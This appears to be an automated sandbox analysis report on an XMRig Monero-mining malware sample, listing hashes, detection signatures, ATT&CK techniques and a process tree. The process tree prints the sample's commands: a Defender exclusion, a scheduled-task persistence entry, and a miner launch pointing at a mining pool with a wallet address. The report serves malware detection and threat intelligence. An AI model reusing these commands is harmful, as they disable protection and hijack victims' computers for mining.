xmrig | 8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d

Analysis

max time kernel
100s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
05/03/2023, 09:34

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General

Target

8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe
Size

1.9MB
MD5

9730d3778f3d91f877d136d308d9e26d
SHA1

4b7189034491ce3bb42e60c9e0d9be816bec396f
SHA256

8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d
SHA512

69951af0e67a90f38ce8aab64465e27b4489d914998b01fe46112768e229fccb4c10bacd0574aa62df9da6ae0e5ef179dffa58a0c959b95fcba61dff839109e3
SSDEEP

49152:ZZ/4vWR1es2daoAoXkg39vQ5ytNFu+Al89MmB+SkS:ZV4OR1eHhXdtNFu+A2Wsfk

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/memory/1556-267-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1556-305-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/2036-148-0x0000000000E70000-0x0000000001042000-memory.dmp	net_reactor
behavioral1/memory/2036-375-0x0000000000E70000-0x0000000001042000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2036 set thread context of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
444	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe
2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe
540	powershell.exe
540	powershell.exe
2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe
2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe
Token: SeDebugPrivilege	540	powershell.exe
Token: SeLockMemoryPrivilege	1556	vbc.exe
Token: SeLockMemoryPrivilege	1556	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1556	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 540	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	85
PID 2036 wrote to memory of 540	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	85
PID 2036 wrote to memory of 4108	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	98
PID 2036 wrote to memory of 4108	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	98
PID 4108 wrote to memory of 444	4108	cmd.exe	100
PID 4108 wrote to memory of 444	4108	cmd.exe	100
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102
PID 2036 wrote to memory of 1556	2036	8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe
"C:\Users\Admin\AppData\Local\Temp\8a1b6bcbecc7ff5bcd2e91d5f8cb2a96a6bba877a0a3c4cfad30040aa485683d.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "CARWD" /tr "C:\ProgramData\Package\CARWD.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "CARWD" /tr "C:\ProgramData\Package\CARWD.exe"
    3⤵
    - Creates scheduled task(s)
    PID:444
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1556

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iqfqmmq5.tzu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/540-166-0x000001FBFE2F0000-0x000001FBFE300000-memory.dmp

Filesize
64KB

Download
memory/540-164-0x000001FBFE2F0000-0x000001FBFE300000-memory.dmp

Filesize
64KB

Download
memory/540-165-0x000001FBFE2F0000-0x000001FBFE300000-memory.dmp

Filesize
64KB

Download
memory/540-163-0x000001FBFE2A0000-0x000001FBFE2C2000-memory.dmp

Filesize
136KB

Download
memory/1556-377-0x0000027DB4900000-0x0000027DB4920000-memory.dmp

Filesize
128KB

Download
memory/1556-376-0x0000027DB2F00000-0x0000027DB2F20000-memory.dmp

Filesize
128KB

Download
memory/1556-372-0x0000027DB4900000-0x0000027DB4920000-memory.dmp

Filesize
128KB

Download
memory/1556-370-0x0000027DB2F00000-0x0000027DB2F20000-memory.dmp

Filesize
128KB

Download
memory/1556-305-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1556-273-0x0000027DB48C0000-0x0000027DB4900000-memory.dmp

Filesize
256KB

Download
memory/1556-267-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2036-178-0x00007FF9C50F0000-0x00007FF9C518E000-memory.dmp

Filesize
632KB

Download
memory/2036-188-0x00007FF9B6860000-0x00007FF9B6876000-memory.dmp

Filesize
88KB

Download
memory/2036-150-0x0000000003380000-0x0000000003390000-memory.dmp

Filesize
64KB

Download
memory/2036-149-0x00007FF9A4D20000-0x00007FF9A4E6E000-memory.dmp

Filesize
1.3MB

Download
memory/2036-148-0x0000000000E70000-0x0000000001042000-memory.dmp

Filesize
1.8MB

Download
memory/2036-147-0x00007FF9C38A0000-0x00007FF9C38CB000-memory.dmp

Filesize
172KB

Download
memory/2036-145-0x00007FF9A6470000-0x00007FF9A6F31000-memory.dmp

Filesize
10.8MB

Download
memory/2036-170-0x00007FF9C5790000-0x00007FF9C5985000-memory.dmp

Filesize
2.0MB

Download
memory/2036-171-0x00007FF9C5030000-0x00007FF9C50EE000-memory.dmp

Filesize
760KB

Download
memory/2036-172-0x00007FF9C3470000-0x00007FF9C3739000-memory.dmp

Filesize
2.8MB

Download
memory/2036-173-0x00007FF9C3740000-0x00007FF9C37DD000-memory.dmp

Filesize
628KB

Download
memory/2036-174-0x00007FF9C3280000-0x00007FF9C3380000-memory.dmp

Filesize
1024KB

Download
memory/2036-177-0x00007FF9C37F0000-0x00007FF9C389C000-memory.dmp

Filesize
688KB

Download
memory/2036-179-0x00007FF9C5310000-0x00007FF9C543A000-memory.dmp

Filesize
1.2MB

Download
memory/2036-135-0x0000000003260000-0x00000000032A3000-memory.dmp

Filesize
268KB

Download
memory/2036-180-0x00007FF9A8330000-0x00007FF9A8395000-memory.dmp

Filesize
404KB

Download
memory/2036-181-0x00007FF9C4440000-0x00007FF9C4795000-memory.dmp

Filesize
3.3MB

Download
memory/2036-182-0x00007FF9C4120000-0x00007FF9C41ED000-memory.dmp

Filesize
820KB

Download
memory/2036-183-0x00007FF9A80C0000-0x00007FF9A816A000-memory.dmp

Filesize
680KB

Download
memory/2036-184-0x00007FF9C3930000-0x00007FF9C3985000-memory.dmp

Filesize
340KB

Download
memory/2036-186-0x00007FF9B5CF0000-0x00007FF9B5CFA000-memory.dmp

Filesize
40KB

Download
memory/2036-151-0x00007FF9C2F60000-0x00007FF9C2F87000-memory.dmp

Filesize
156KB

Download
memory/2036-187-0x00007FF9A6470000-0x00007FF9A6F31000-memory.dmp

Filesize
10.8MB

Download
memory/2036-190-0x00007FF9C4F00000-0x00007FF9C502A000-memory.dmp

Filesize
1.2MB

Download
memory/2036-189-0x00007FF9A8000000-0x00007FF9A80BD000-memory.dmp

Filesize
756KB

Download
memory/2036-191-0x00007FF9A4D20000-0x00007FF9A4E6E000-memory.dmp

Filesize
1.3MB

Download
memory/2036-192-0x00007FF9C2F60000-0x00007FF9C2F87000-memory.dmp

Filesize
156KB

Download
memory/2036-193-0x0000000000E70000-0x0000000001042000-memory.dmp

Filesize
1.8MB

Download
memory/2036-194-0x0000000003260000-0x00000000032A3000-memory.dmp

Filesize
268KB

Download
memory/2036-195-0x0000000003380000-0x0000000003390000-memory.dmp

Filesize
64KB

Download
memory/2036-223-0x00007FF9A7F40000-0x00007FF9A7F75000-memory.dmp

Filesize
212KB

Download
memory/2036-224-0x00007FF9A2180000-0x00007FF9A2282000-memory.dmp

Filesize
1.0MB

Download
memory/2036-225-0x00007FF9C3990000-0x00007FF9C39FB000-memory.dmp

Filesize
428KB

Download
memory/2036-226-0x00007FF9C2280000-0x00007FF9C22BB000-memory.dmp

Filesize
236KB

Download
memory/2036-228-0x00007FF9C5790000-0x00007FF9C5985000-memory.dmp

Filesize
2.0MB

Download
memory/2036-146-0x0000000003260000-0x00000000032A3000-memory.dmp

Filesize
268KB

Download
memory/2036-143-0x00007FF9C4290000-0x00007FF9C4431000-memory.dmp

Filesize
1.6MB

Download
memory/2036-144-0x0000000000E70000-0x0000000001042000-memory.dmp

Filesize
1.8MB

Download
memory/2036-142-0x00007FF9A8000000-0x00007FF9A80BD000-memory.dmp

Filesize
756KB

Download
memory/2036-141-0x00007FF9C0DD0000-0x00007FF9C0DE2000-memory.dmp

Filesize
72KB

Download
memory/2036-375-0x0000000000E70000-0x0000000001042000-memory.dmp

Filesize
1.8MB

Download
memory/2036-140-0x00007FF9C50F0000-0x00007FF9C518E000-memory.dmp

Filesize
632KB

Download
memory/2036-139-0x00007FF9A80C0000-0x00007FF9A816A000-memory.dmp

Filesize
680KB

Download